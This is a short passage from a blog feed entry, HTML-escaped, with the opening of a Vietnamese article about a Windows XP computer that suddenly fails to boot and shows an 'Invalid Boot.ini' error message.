ở Windows XP</title><content type='html'>&lt;span class="bodytxt"&gt;&lt;span style="font-family:Times New Roman, Times, serif;font-size:100%;"&gt;&lt;strong&gt;&lt;span style="color:#333333;"&gt;Máy tính của bạn đang chạy “ngon lành”, tự nhiên vào một buổi “trái gió trở trời” nó không khởi động nữa mà hiện lên một thông báo “lạnh lùng”: &lt;em&gt;Invalid Boot.ini&lt;/em&gt; hay &lt;em&g
